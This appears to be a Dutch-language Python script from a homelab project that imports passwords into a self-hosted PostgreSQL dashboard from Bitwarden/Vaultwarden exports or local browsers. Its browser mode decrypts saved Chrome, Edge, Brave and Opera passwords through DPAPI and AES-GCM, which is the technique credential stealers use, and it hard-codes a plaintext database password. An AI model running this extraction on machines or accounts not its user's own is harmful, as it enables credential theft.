285 lines
11 KiB
Python
285 lines
11 KiB
Python
|
# Browser & Vaultwarden Wachtwoord Import Script
|
||
|
|
# ==============================================
|
||
|
|
# Dit script importeert wachtwoorden in de PostgreSQL dashboard database.
|
||
|
|
#
|
||
|
|
# GEBRUIK:
|
||
|
|
# 1. Vanuit browser (Chrome/Edge/Firefox): python import_passwords.py --browser
|
||
|
|
# 2. Vanuit Vaultwarden/Bitwarden CSV: python import_passwords.py --csv export.csv
|
||
|
|
# 3. Vanuit JSON bestand: python import_passwords.py --json passwords.json
|
||
|
|
#
|
||
|
|
# JSON formaat:
|
||
|
|
# [{"title": "Google", "url": "https://google.com", "username": "user", "password": "secret"}]
|
||
|
|
#
|
||
|
|
# CSV formaat (Bitwarden/Vaultwarden):
|
||
|
|
# name,url,username,password,notes
|
||
|
|
|
||
|
|
import os, sys, csv, json, argparse
|
||
|
|
|
||
|
|
# DB config
|
||
|
|
os.environ["PG_HOST"] = "192.168.1.211"
|
||
|
|
os.environ["PG_PORT"] = "5433"
|
||
|
|
os.environ["PG_USER"] = "mo"
|
||
|
|
os.environ["PG_PASSWORD"] = "WaQTUw2t"
|
||
|
|
os.environ["PG_DATABASE"] = "homelab"
|
||
|
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||
|
|
|
||
|
|
from src.dashboard_api import _encrypt
|
||
|
|
from src.pg_client import execute, query
|
||
|
|
|
||
|
|
|
||
|
|
def extract_chrome_passwords():
|
||
|
|
"""Extracteer wachtwoorden uit Chrome/Edge/Brave (Windows)."""
|
||
|
|
import sqlite3, base64
|
||
|
|
|
||
|
|
# Zoek alle Chromium-based browsers
|
||
|
|
localappdata = os.environ.get("LOCALAPPDATA", "")
|
||
|
|
browsers = {
|
||
|
|
"Chrome": os.path.join(localappdata, "Google", "Chrome", "User Data"),
|
||
|
|
"Edge": os.path.join(localappdata, "Microsoft", "Edge", "User Data"),
|
||
|
|
"Brave": os.path.join(localappdata, "BraveSoftware", "Brave-Browser", "User Data"),
|
||
|
|
"Opera": os.path.join(os.environ.get("APPDATA", ""), "Opera Software", "Opera Stable"),
|
||
|
|
}
|
||
|
|
|
||
|
|
all_passwords = []
|
||
|
|
|
||
|
|
for name, user_data in browsers.items():
|
||
|
|
if not os.path.exists(user_data):
|
||
|
|
continue
|
||
|
|
|
||
|
|
# Check Default profile + numbered profiles
|
||
|
|
for profile in ["Default"] + [f"Profile {i}" for i in range(1, 10)]:
|
||
|
|
login_db = os.path.join(user_data, profile, "Login Data")
|
||
|
|
local_state = os.path.join(user_data, "Local State")
|
||
|
|
|
||
|
|
if not os.path.exists(login_db) or not os.path.exists(local_state):
|
||
|
|
continue
|
||
|
|
|
||
|
|
try:
|
||
|
|
# Get encrypted key from Local State
|
||
|
|
with open(local_state, "r", encoding="utf-8") as f:
|
||
|
|
state = json.load(f)
|
||
|
|
encrypted_key = base64.b64decode(
|
||
|
|
state.get("os_crypt", {}).get("encrypted_key", "")
|
||
|
|
)
|
||
|
|
# Remove "DPAPI" prefix (5 bytes)
|
||
|
|
encrypted_key = encrypted_key[5:]
|
||
|
|
|
||
|
|
# Decrypt key with DPAPI
|
||
|
|
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
|
||
|
|
import ctypes
|
||
|
|
from ctypes import wintypes
|
||
|
|
|
||
|
|
class DATA_BLOB(ctypes.Structure):
|
||
|
|
_fields_ = [("cbData", wintypes.DWORD), ("pbData", ctypes.POINTER(ctypes.c_char))]
|
||
|
|
|
||
|
|
crypt32 = ctypes.windll.crypt32
|
||
|
|
kernel32 = ctypes.windll.kernel32
|
||
|
|
|
||
|
|
blob_in = DATA_BLOB(len(encrypted_key), ctypes.create_string_buffer(encrypted_key, len(encrypted_key)))
|
||
|
|
blob_out = DATA_BLOB()
|
||
|
|
|
||
|
|
if crypt32.CryptUnprotectData(
|
||
|
|
ctypes.byref(blob_in), None, None, None, None, 0, ctypes.byref(blob_out)
|
||
|
|
):
|
||
|
|
aes_key = ctypes.string_at(blob_out.pbData, blob_out.cbData)
|
||
|
|
kernel32.LocalFree(blob_out.pbData)
|
||
|
|
else:
|
||
|
|
print(f" Kon DPAPI key niet decrypten voor {name}/{profile}")
|
||
|
|
continue
|
||
|
|
|
||
|
|
# Read passwords
|
||
|
|
conn = sqlite3.connect(login_db)
|
||
|
|
cursor = conn.execute(
|
||
|
|
"SELECT origin_url, username_value, password_value FROM logins"
|
||
|
|
)
|
||
|
|
|
||
|
|
aesgcm = AESGCM(aes_key)
|
||
|
|
count = 0
|
||
|
|
for url, username, enc_pwd in cursor:
|
||
|
|
if not enc_pwd:
|
||
|
|
continue
|
||
|
|
try:
|
||
|
|
# Format: "v10" (3 bytes prefix) + 12 bytes nonce + ciphertext + 16 bytes tag
|
||
|
|
nonce = enc_pwd[3:15]
|
||
|
|
ciphertext = enc_pwd[15:-16]
|
||
|
|
tag = enc_pwd[-16:]
|
||
|
|
password = aesgcm.decrypt(nonce, ciphertext + tag, None).decode("utf-8")
|
||
|
|
|
||
|
|
title = url.split("://")[-1].split("/")[0] if url else "Onbekend"
|
||
|
|
all_passwords.append({
|
||
|
|
"title": title,
|
||
|
|
"url": url,
|
||
|
|
"username": username,
|
||
|
|
"password": password,
|
||
|
|
})
|
||
|
|
count += 1
|
||
|
|
except Exception:
|
||
|
|
pass
|
||
|
|
|
||
|
|
conn.close()
|
||
|
|
print(f" {name}/{profile}: {count} wachtwoorden gevonden")
|
||
|
|
|
||
|
|
except Exception as e:
|
||
|
|
print(f" Fout bij {name}/{profile}: {e}")
|
||
|
|
|
||
|
|
return all_passwords
|
||
|
|
|
||
|
|
|
||
|
|
def extract_firefox_passwords():
|
||
|
|
"""Extracteer wachtwoorden uit Firefox. Vereist dat Firefox draait of de master password bekend is."""
|
||
|
|
import sqlite3
|
||
|
|
|
||
|
|
appdata = os.environ.get("APPDATA", "")
|
||
|
|
profiles_dir = os.path.join(appdata, "Mozilla", "Firefox", "Profiles")
|
||
|
|
|
||
|
|
if not os.path.exists(profiles_dir):
|
||
|
|
return []
|
||
|
|
|
||
|
|
# Firefox gebruikt logins.json en key4.db
|
||
|
|
# De encryptie is complexer (NSS/PKCS11). We kunnen wel de logins.json lezen
|
||
|
|
# en de gebruiker vragen Firefox te openen om te decrypteren.
|
||
|
|
|
||
|
|
all_passwords = []
|
||
|
|
for profile in os.listdir(profiles_dir):
|
||
|
|
logins_path = os.path.join(profiles_dir, profile, "logins.json")
|
||
|
|
if not os.path.exists(logins_path):
|
||
|
|
continue
|
||
|
|
|
||
|
|
try:
|
||
|
|
with open(logins_path, "r", encoding="utf-8") as f:
|
||
|
|
data = json.load(f)
|
||
|
|
|
||
|
|
count = 0
|
||
|
|
for entry in data.get("logins", []):
|
||
|
|
all_passwords.append({
|
||
|
|
"title": entry.get("hostname", "Onbekend"),
|
||
|
|
"url": entry.get("hostname", ""),
|
||
|
|
"username": entry.get("encryptedUsername", "(encrypted)"),
|
||
|
|
"password": entry.get("encryptedPassword", "(encrypted)"),
|
||
|
|
})
|
||
|
|
count += 1
|
||
|
|
print(f" Firefox/{profile}: {count} logins gevonden (versleuteld)")
|
||
|
|
except Exception as e:
|
||
|
|
print(f" Fout bij Firefox/{profile}: {e}")
|
||
|
|
|
||
|
|
return all_passwords
|
||
|
|
|
||
|
|
|
||
|
|
def import_to_db(passwords: list[dict], dry_run: bool = False):
|
||
|
|
"""Importeer wachtwoorden in de PostgreSQL database."""
|
||
|
|
if not passwords:
|
||
|
|
print("\nGeen wachtwoorden gevonden om te importeren.")
|
||
|
|
return
|
||
|
|
|
||
|
|
print(f"\nImporteren van {len(passwords)} wachtwoorden...")
|
||
|
|
|
||
|
|
existing = query("SELECT url, username FROM passwords")
|
||
|
|
existing_pairs = {(r["url"], r["username"]) for r in existing}
|
||
|
|
|
||
|
|
imported = 0
|
||
|
|
skipped = 0
|
||
|
|
|
||
|
|
for pw in passwords:
|
||
|
|
if (pw.get("url"), pw.get("username")) in existing_pairs:
|
||
|
|
skipped += 1
|
||
|
|
continue
|
||
|
|
|
||
|
|
if dry_run:
|
||
|
|
print(f" [DRY RUN] {pw['title']}: {pw['username']} @ {pw['url']}")
|
||
|
|
imported += 1
|
||
|
|
continue
|
||
|
|
|
||
|
|
try:
|
||
|
|
encrypted = _encrypt(pw["password"])
|
||
|
|
execute(
|
||
|
|
"""INSERT INTO passwords (title, url, username, password_encrypted, notes, category)
|
||
|
|
VALUES (%s, %s, %s, %s, %s, %s)""",
|
||
|
|
(pw["title"], pw.get("url", ""), pw.get("username", ""),
|
||
|
|
encrypted, pw.get("notes", ""), pw.get("category", "Algemeen"))
|
||
|
|
)
|
||
|
|
imported += 1
|
||
|
|
except Exception as e:
|
||
|
|
print(f" Fout bij {pw['title']}: {e}")
|
||
|
|
|
||
|
|
print(f"\nResultaat: {imported} geimporteerd, {skipped} overgeslagen (bestond al)")
|
||
|
|
|
||
|
|
# Toon totaal
|
||
|
|
total = query("SELECT count(*) as c FROM passwords", fetch="one")
|
||
|
|
print(f"Totaal in database: {total['c']} wachtwoorden")
|
||
|
|
|
||
|
|
|
||
|
|
def main():
|
||
|
|
parser = argparse.ArgumentParser(description="Importeer wachtwoorden in PostgreSQL")
|
||
|
|
parser.add_argument("--browser", action="store_true", help="Extract uit lokale browsers")
|
||
|
|
parser.add_argument("--csv", type=str, help="Importeer uit Bitwarden/Vaultwarden CSV export")
|
||
|
|
parser.add_argument("--json", type=str, help="Importeer uit JSON bestand")
|
||
|
|
parser.add_argument("--dry-run", action="store_true", help="Toon wat geimporteerd zou worden")
|
||
|
|
args = parser.parse_args()
|
||
|
|
|
||
|
|
passwords = []
|
||
|
|
|
||
|
|
if args.browser:
|
||
|
|
print("=== Extractie uit browsers ===\n")
|
||
|
|
passwords.extend(extract_chrome_passwords())
|
||
|
|
passwords.extend(extract_firefox_passwords())
|
||
|
|
|
||
|
|
if not passwords:
|
||
|
|
print("\nGeen browser wachtwoorden gevonden!")
|
||
|
|
print("Je kunt je wachtwoorden exporteren uit Vaultwarden/Bitwarden:")
|
||
|
|
print(" 1. Open http://192.168.1.6:8000")
|
||
|
|
print(" 2. Ga naar Tools -> Export Vault")
|
||
|
|
print(" 3. Kies .csv of .json formaat")
|
||
|
|
print(f" 4. python {sys.argv[0]} --csv export.csv")
|
||
|
|
return
|
||
|
|
|
||
|
|
elif args.csv:
|
||
|
|
print(f"=== Import uit CSV: {args.csv} ===\n")
|
||
|
|
with open(args.csv, "r", encoding="utf-8-sig") as f:
|
||
|
|
reader = csv.DictReader(f)
|
||
|
|
for row in reader:
|
||
|
|
passwords.append({
|
||
|
|
"title": row.get("name", row.get("title", "Onbekend")),
|
||
|
|
"url": row.get("login_uri", row.get("url", "")),
|
||
|
|
"username": row.get("login_username", row.get("username", "")),
|
||
|
|
"password": row.get("login_password", row.get("password", "")),
|
||
|
|
"notes": row.get("notes", ""),
|
||
|
|
})
|
||
|
|
print(f" {len(passwords)} wachtwoorden uit CSV gelezen")
|
||
|
|
|
||
|
|
elif args.json:
|
||
|
|
print(f"=== Import uit JSON: {args.json} ===\n")
|
||
|
|
with open(args.json, "r", encoding="utf-8") as f:
|
||
|
|
data = json.load(f)
|
||
|
|
|
||
|
|
if isinstance(data, dict) and "items" in data:
|
||
|
|
# Bitwarden/Vaultwarden JSON export formaat
|
||
|
|
for item in data.get("items", []):
|
||
|
|
if item.get("type") == 1: # Login type
|
||
|
|
login = item.get("login", {})
|
||
|
|
passwords.append({
|
||
|
|
"title": item.get("name", "Onbekend"),
|
||
|
|
"url": login.get("uris", [{}])[0].get("uri", "") if login.get("uris") else "",
|
||
|
|
"username": login.get("username", ""),
|
||
|
|
"password": login.get("password", ""),
|
||
|
|
"notes": item.get("notes", ""),
|
||
|
|
})
|
||
|
|
else:
|
||
|
|
passwords = data
|
||
|
|
|
||
|
|
print(f" {len(passwords)} wachtwoorden uit JSON gelezen")
|
||
|
|
|
||
|
|
else:
|
||
|
|
parser.print_help()
|
||
|
|
print("\nVoorbeelden:")
|
||
|
|
print(" python import_passwords.py --browser (Chrome/Edge/Firefox)")
|
||
|
|
print(" python import_passwords.py --csv bitwarden.csv (Vaultwarden export)")
|
||
|
|
print(" python import_passwords.py --json vault.json (JSON export)")
|
||
|
|
print(" python import_passwords.py --browser --dry-run (test-modus)")
|
||
|
|
return
|
||
|
|
|
||
|
|
import_to_db(passwords, dry_run=args.dry_run)
|
||
|
|
|
||
|
|
|
||
|
|
if __name__ == "__main__":
|
||
|
|
main()
|